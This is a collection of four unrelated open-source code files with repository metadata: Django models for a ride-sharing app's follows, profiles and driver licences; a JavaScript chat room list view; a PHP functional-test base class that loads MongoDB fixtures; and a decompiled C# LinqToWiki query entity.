follower = models.ForeignKey(CustomUser, related_name='follower', on_delete=models.CASCADE, default=None)
followee = models.ForeignKey(CustomUser, related_name='followee', on_delete=models.CASCADE, default=None)
time = models.DateTimeField(_('time'), default=timezone.now)
def __unicode__(self):
return str(self.follower) + ' follows ' + str(self.followee)
def __str__(self):
return str(self.follower) + ' follows ' + str(self.followee)
def is_follows(self, user_1, user_2):
foll = Follow.objects.filter(user=user_1, follower=user_2)
if foll.exists():
return True
else:
return False
def get_absolute_url(self):
return "/app/profile/%s" % self.follower.username
class Profile(models.Model):
user = models.OneToOneField(CustomUser, related_name='profile', on_delete=models.CASCADE, unique=True)
picture = models.FileField(blank=True, default='user.png')
education = models.TextField(blank=True)
work = models.TextField(blank=True)
social_facebook = models.CharField(max_length=256, blank=True)
social_twitter = models.CharField(max_length=256, blank=True)
social_instagram = models.CharField(max_length=256, blank=True)
bio = models.TextField(blank=True)
is_public = models.BooleanField(default=False)
def __str__(self):
return self.user.username
class DriverInfo(models.Model):
driver = models.OneToOneField(CustomUser, on_delete=models.CASCADE)
liscence_no = models.CharField(_('liscence number'), max_length=30, blank=False)
date_issuance = models.DateField(_('date of first issuance'), blank=True)
scanned = models.ImageField(_('picture of driver\'s liscence'), blank=True)
confirmed = models.BooleanField(_('confirmed'), default=False)
| othreecodes/MY-RIDE | app/models.py | Python | mit | 11,305 |
define('view/rooms/users-rooms-list', [
'view'
], function (
View
) {
function UsersRoomsListView() {
View.apply(this, arguments);
}
View.extend({
constructor: UsersRoomsListView,
template: {
'root': {
each: {
view: UserRoomView,
el: '> *'
}
}
}
});
function UserRoomView() {
View.apply(this, arguments);
}
View.extend({
constructor: UserRoomView,
template: {
'root': {
'class': {
'hidden': '@hidden'
}
},
'[data-title]': {
text: '@name',
attr: {
'href': function () {
return '#user-room/' + this.model.get('id')
}
}
}
}
});
return UsersRoomsListView;
}); | redexp/chat | js/view/rooms/users-rooms-list.js | JavaScript | mit | 979 |
<?php
namespace PW\ApplicationBundle\Tests;
use Liip\FunctionalTestBundle\Test\WebTestCase as BaseWebTestCase;
class WebTestCase extends BaseWebTestCase
{
/**
* @param array $classNames List of fully qualified class names of fixtures to load
* @param string $omName The name of object manager to use
* @param string $registryName The service id of manager registry to use
* @param int $purgeMode Sets the ORM purge mode
*
* @return null|Doctrine\Common\DataFixtures\Executor\AbstractExecutor
*/
protected function loadFixtures(array $classNames, $omName = null, $registryName = 'doctrine', $purgeMode = null)
{
$container = $this->getContainer();
$om = $container->get('doctrine_mongodb.odm.document_manager');
$type = 'MongoDB';
$executorClass = 'Doctrine\\Common\\DataFixtures\Executor\\'.$type.'Executor';
$purgerClass = 'Doctrine\\Common\\DataFixtures\Purger\\'.$type.'Purger';
$purger = new $purgerClass();
if (null !== $purgeMode) {
$purger->setPurgeMode($purgeMode);
}
$executor = new $executorClass($om, $purger);
$executor->purge();
$loader = $this->getFixtureLoader($container, $classNames);
$executor->execute($loader->getFixtures(), true);
return $executor;
}
}
| SparkRebel/sparkrebel.com | src/PW/ApplicationBundle/Tests/WebTestCase.php | PHP | mit | 1,348 |
// Decompiled with JetBrains decompiler
// Type: LinqToWiki.Generated.Entities.categorymembersWhere
// Assembly: LinqToWiki.Generated, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A4304DCD-2C3F-4D9F-B552-69913FDA3067
// Assembly location: D:\work\my\AsoiafWikiDb\AsoiafWikiDb\bin\LinqToWiki.Generated.dll
using LinqToWiki;
using LinqToWiki.Collections;
using LinqToWiki.Generated;
using System;
namespace LinqToWiki.Generated.Entities
{
public sealed class categorymembersWhere
{
/// <summary>
/// Which category to enumerate (required). Must include Category: prefix. Cannot be used together with cmpageid
///
/// </summary>
public string title { get; private set; }
/// <summary>
/// Page ID of the category to enumerate. Cannot be used together with cmtitle
///
/// </summary>
public long pageid { get; private set; }
/// <summary>
/// Only include pages in these namespaces
/// NOTE: Due to $wgMiserMode, using this may result in fewer than "cmlimit" results
/// returned before continuing; in extreme cases, zero results may be returned.
/// Note that you can use cmtype=subcat or cmtype=file instead of cmnamespace=14 or 6.
///
/// </summary>
public ItemOrCollection<Namespace> ns { get; private set; }
/// <summary>
/// What type of category members to include. Ignored when cmsort=timestamp is set
///
/// </summary>
public ItemOrCollection<categorymemberstype> type { get; private set; }
/// <summary>
/// Timestamp to start listing from. Can only be used with cmsort=timestamp
///
/// </summary>
public DateTime start { get; private set; }
/// <summary>
/// Timestamp to end listing at. Can only be used with cmsort=timestamp
///
/// </summary>
public DateTime end { get; private set; }
/// <summary>
/// Sortkey to start listing from. Must be given in binary format. Can only be used with cmsort=sortkey
///
/// </summary>
public string startsortkey { get; private set; }
/// <summary>
/// Sortkey to end listing at. Must be given in binary format. Can only be used with cmsort=sortkey
///
/// </summary>
public string endsortkey { get; private set; }
/// <summary>
/// Sortkey prefix to start listing from. Can only be used with cmsort=sortkey. Overrides cmstartsortkey
///
/// </summary>
public string startsortkeyprefix { get; private set; }
/// <summary>
/// Sortkey prefix to end listing BEFORE (not at, if this value occurs it will not be included!). Can only be used with cmsort=sortkey. Overrides cmendsortkey
///
/// </summary>
public string endsortkeyprefix { get; private set; }
private categorymembersWhere()
{
}
}
}
| lianzhao/AsoiafWikiDb | LinqToWiki.Generated/1categorymembers.cs | C# | mit | 2,932 |